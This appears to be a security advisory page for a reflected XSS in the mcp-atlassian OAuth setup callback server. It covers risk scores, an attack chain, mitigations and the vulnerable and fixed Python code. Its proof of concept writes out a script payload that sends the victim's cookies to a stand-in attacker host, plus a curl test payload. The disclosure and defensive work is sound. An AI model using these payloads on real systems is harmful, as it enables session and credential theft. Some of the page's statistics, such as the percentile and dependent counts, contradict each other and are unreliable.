CVE-2026-77272: mcp-atlassian: XSS in OAuth setup callback server

GHSA-g2r2-3j32-j27xMEDIUM
Published September 22, 2026
CISO Take

The OAuth setup wizard in mcp-atlassian (an MCP server that gives AI agents access to Jira and Confluence) reflects the `error` query parameter into HTML without escaping, and it binds to all network interfaces instead of localhost. Anyone on the same network who lures the user into opening a crafted link while the wizard is running can execute JavaScript in the user's browser and potentially interfere with the OAuth code and state handling. Real-world risk is low: CVSS 5.4, EPSS 0.00248 (still top 85th percentile), no KEV listing, no public exploit or Nuclei template, and CISA SSVC says TRACK. The exposure window is also short, since the callback server only runs during initial setup for up to 5 minutes. Upgrade to mcp-atlassian 0.22.0, and avoid running the OAuth setup on shared or untrusted networks until you have.

Sources:NVDGitHub AdvisoryEPSSATLASCISA SSVC

What is the risk?

Low-to-medium overall risk. The CVSS vector (AV:N/AC:L/PR:N/UI:R) shows a low-complexity attack that needs user interaction, and impact is limited to low confidentiality and integrity. Exploitation needs the wizard to be running (a roughly 5-minute window), network reachability to the victim's host on the callback port (default 8080), and a victim who clicks the link. EPSS is 0.00248 and there is no KEV entry, public exploit or scanner template. The package has only 1 downstream dependent but 38 other CVEs, which points to a troubled security history. Because the target is a credential-handling flow for Atlassian tools used by AI agents, a successful attack could affect a high-value token.

How does the attack unfold?

Reconnaissance
Attacker finds a host on the local network with port 8080 open while the OAuth setup wizard is running.
AML.T0006
Delivery
Attacker sends the victim a crafted callback URL with a script payload in the error parameter.
AML.T0011.003
Exploitation
The victim opens the link and the unescaped error value runs as JavaScript in their browser.
Impact
The script exfiltrates data or tampers with the OAuth callback, potentially exposing the authorization code and access to Jira and Confluence.
AML.T0091.000

What systems are affected?

PackageEcosystemVulnerable RangePatched
MCP Atlassianpip< 0.22.00.22.0
2 dependents85% patched~4d to patchFull package profile →

Do you use MCP Atlassian? You're affected.

How severe is it?

CVSS 3.1
5.4 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 18% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRNone
UIRequired
SUnchanged
CLow
ILow
ANone

What should I do?

6 steps
  1. Upgrade mcp-atlassian to 0.22.0 or later (pip install -U mcp-atlassian). The fix HTML-escapes reflected input.

  2. Until patched, run the OAuth setup only on trusted, isolated networks, not on shared Wi-Fi or office guest networks.

  3. Restrict inbound access to the callback port (default 8080) with a host firewall so only localhost can reach it.

  4. Do not click callback-style links received by email or chat during setup.

  5. If setup was run on an untrusted network on an affected version, revoke and rotate the Atlassian OAuth tokens and app credentials.

  6. Detection: review host firewall and network logs for inbound connections to port 8080 from other hosts during setup windows, and look for requests to /callback with script tags or encoded HTML in the error parameter.

What does CISA's SSVC say?

DecisionTrack
Exploitationnone
AutomatableNo
Technical Impactpartial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15-Accuracy, robustness and cybersecurity
ISO 42001
A.10.3-Suppliers
NIST AI RMF
MANAGE 2.3-Responses to AI risks of unknown severity or newly identified risks
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-77272?

The OAuth setup wizard in mcp-atlassian (an MCP server that gives AI agents access to Jira and Confluence) reflects the `error` query parameter into HTML without escaping, and it binds to all network interfaces instead of localhost. Anyone on the same network who lures the user into opening a crafted link while the wizard is running can execute JavaScript in the user's browser and potentially interfere with the OAuth code and state handling. Real-world risk is low: CVSS 5.4, EPSS 0.00248 (still top 85th percentile), no KEV listing, no public exploit or Nuclei template, and CISA SSVC says TRACK. The exposure window is also short, since the callback server only runs during initial setup for up to 5 minutes. Upgrade to mcp-atlassian 0.22.0, and avoid running the OAuth setup on shared or untrusted networks until you have.

Is CVE-2026-77272 actively exploited?

No confirmed active exploitation of CVE-2026-77272 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-77272?

1. Upgrade mcp-atlassian to 0.22.0 or later (pip install -U mcp-atlassian). The fix HTML-escapes reflected input. 2. Until patched, run the OAuth setup only on trusted, isolated networks, not on shared Wi-Fi or office guest networks. 3. Restrict inbound access to the callback port (default 8080) with a host firewall so only localhost can reach it. 4. Do not click callback-style links received by email or chat during setup. 5. If setup was run on an untrusted network on an affected version, revoke and rotate the Atlassian OAuth tokens and app credentials. 6. Detection: review host firewall and network logs for inbound connections to port 8080 from other hosts during setup windows, and look for requests to /callback with script tags or encoded HTML in the error parameter.

What systems are affected by CVE-2026-77272?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP servers, tool integrations, OAuth-based agent authentication.

What is the CVSS score for CVE-2026-77272?

CVE-2026-77272 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.26%.

What is the AI security impact?

Affected AI Architectures

agent frameworksMCP serverstool integrationsOAuth-based agent authentication

MITRE ATLAS Techniques

AML.T0010.005AI Agent Tool
AML.T0011.003Malicious Link
AML.T0091.000Application Access Token

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.10.3
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary The OAuth 2.0 setup wizard's local callback HTTP server reflects the `error` query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the `error` parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (`0.0.0.0`), making it accessible from the local network rather than just localhost. ## Details The vulnerability exists in the `CallbackHandler` class in `src/mcp_atlassian/utils/oauth_setup.py`. **Step 1 -- Attacker-controlled input enters unsanitized:** At line 63-66, the `error` query parameter from the URL is read and interpolated into a message string without HTML escaping: ```python # src/mcp_atlassian/utils/oauth_setup.py:63-66 if "error" in params: callback_error = params["error"][0] callback_received = True self._send_response(f"Authorization failed: {callback_error}") ``` **Step 2 -- Unsanitized input is injected into HTML:** At line 124-125 in `_send_response`, the `message` variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation: ```python # src/mcp_atlassian/utils/oauth_setup.py:124-125 <div class="message {"success" if status == 200 else "error"}"> <p>{message}</p> </div> ``` **Step 3 -- Server listens on all interfaces:** At line 167, the callback server binds to all network interfaces, not just localhost: ```python # src/mcp_atlassian/utils/oauth_setup.py:167 httpd = socketserver.TCPServer(("", port), handler) ``` This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine. **Step 4 -- No security headers:** The response at line 84-86 sets `Content-type: text/html` but does not include `Content-Security-Policy`, `X-Content-Type-Options`, or `X-XSS-Protection` headers: ```python # src/mcp_atlassian/utils/oauth_setup.py:84-86 self.send_response(status) self.send_header("Content-type", "text/html") self.end_headers() ``` ## PoC **Prerequisites:** The victim must be running the OAuth setup wizard (`mcp-atlassian --oauth-setup` or `run_oauth_setup()`), which starts the callback server. **Step 1 -- Craft the malicious URL:** ``` http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> ``` **Step 2 -- Deliver the link to the victim:** Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context. **Step 3 -- Verify with a simpler payload:** ```bash # Start the setup wizard (victim's machine) # uv run mcp-atlassian --oauth-setup # From attacker's machine (or same network): curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E" ``` The response HTML will contain: ```html <p>Authorization failed: <script>alert(document.domain)</script></p> ``` ## Impact - **JavaScript execution** in the victim's browser context during the OAuth setup flow. - While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because: 1. The server binds to all interfaces, making it accessible from the local network. 2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174). 3. During this window, any crafted request triggers the XSS. - An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles `code` and `state` parameters on the same endpoint. ## Recommended Fix **1. HTML-escape the message before injecting into the template:** ```python # src/mcp_atlassian/utils/oauth_setup.py import html def _send_response(self, message: str, status: int = 200) -> None: """Send response to the browser.""" self.send_response(status) self.send_header("Content-type", "text/html") self.send_header("X-Content-Type-Options", "nosniff") self.send_header("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'") self.end_headers() # Escape user-controlled content before HTML injection safe_message = html.escape(message) html_content = f""" ... <div class="message {"success" if status == 200 else "error"}"> <p>{safe_message}</p> </div> ... """ ``` **2. Bind the callback server to localhost only:** ```python # src/mcp_atlassian/utils/oauth_setup.py:167 # Change from: httpd = socketserver.TCPServer(("", port), handler) # To: httpd = socketserver.TCPServer(("127.0.0.1", port), handler) ```

Exploitation Scenario

An attacker on the same corporate or co-working network scans for hosts listening on port 8080 and finds a developer running `mcp-atlassian --oauth-setup`. The attacker sends the developer a link such as http://<victim-ip>:8080/callback?error=<script>...</script> by chat or email, framed as an urgent authorization problem. When the developer opens it while the wizard is waiting, the script runs in the browser, can alter the page or exfiltrate data to an attacker-controlled server, and could be used to tamper with the OAuth callback handling and capture or replay the authorization code, giving the attacker access to the organization's Jira and Confluence through the AI agent integration.

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Timeline

Published
September 22, 2026
Last Modified
September 23, 2026
First Seen
September 23, 2026

Related Vulnerabilities